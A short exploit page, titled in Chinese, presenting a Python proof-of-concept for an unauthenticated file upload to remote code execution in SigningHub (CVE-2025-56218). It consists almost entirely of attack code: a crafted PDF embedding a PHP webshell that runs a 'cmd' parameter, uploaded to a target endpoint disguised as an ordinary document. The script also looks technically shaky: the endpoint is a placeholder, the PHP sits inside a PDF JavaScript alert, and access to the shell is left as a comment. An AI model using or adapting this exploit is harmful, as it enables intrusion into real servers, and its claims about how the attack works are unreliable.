CVE-2025-56218：SigningHub任意文件上传导致远程代码执行漏洞

# CVE-2025-56218 PoC - SigningHub Arbitrary File Upload to RCE # Exploit: Upload crafted PDF file to achieve Remote Code Execution import requests TARGET_URL = "https://target-signinghub.com" UPLOAD_ENDPOINT = "/api/upload" # Adjust based on actual endpoint # Step 1: Create a malicious PDF file with embedded PHP webshell def create_malicious_pdf(): """Create a crafted PDF file with embedded PHP code""" pdf_content = b"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction 3 0 R >> endobj 2 0 obj << /Type /Pages /Kids [4 0 R] /Count 1 >> endobj 3 0 obj << /Type /Action /S /JavaScript /JS ( var php_code = '<?php system($_GET["cmd"]); ?>'; app.alert(php_code); ) >> endobj 4 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> endobj xref 0 5 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000230 00000 n trailer << /Size 5 /Root 1 0 R >> startxref 300 %%EOF""" return pdf_content # Step 2: Upload the malicious PDF file def exploit(): pdf_payload = create_malicious_pdf() # Disguise as legitimate PDF upload files = { 'file': ('document.pdf', pdf_payload, 'application/pdf') } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Attempt upload without authentication response = requests.post( f"{TARGET_URL}{UPLOAD_ENDPOINT}", files=files, headers=headers ) if response.status_code == 200: print(f"[+] Upload successful!") print(f"[+] Response: {response.text}") # Try to access uploaded file # The file may be accessible at the returned path else: print(f"[-] Upload failed with status: {response.status_code}") if __name__ == "__main__": exploit()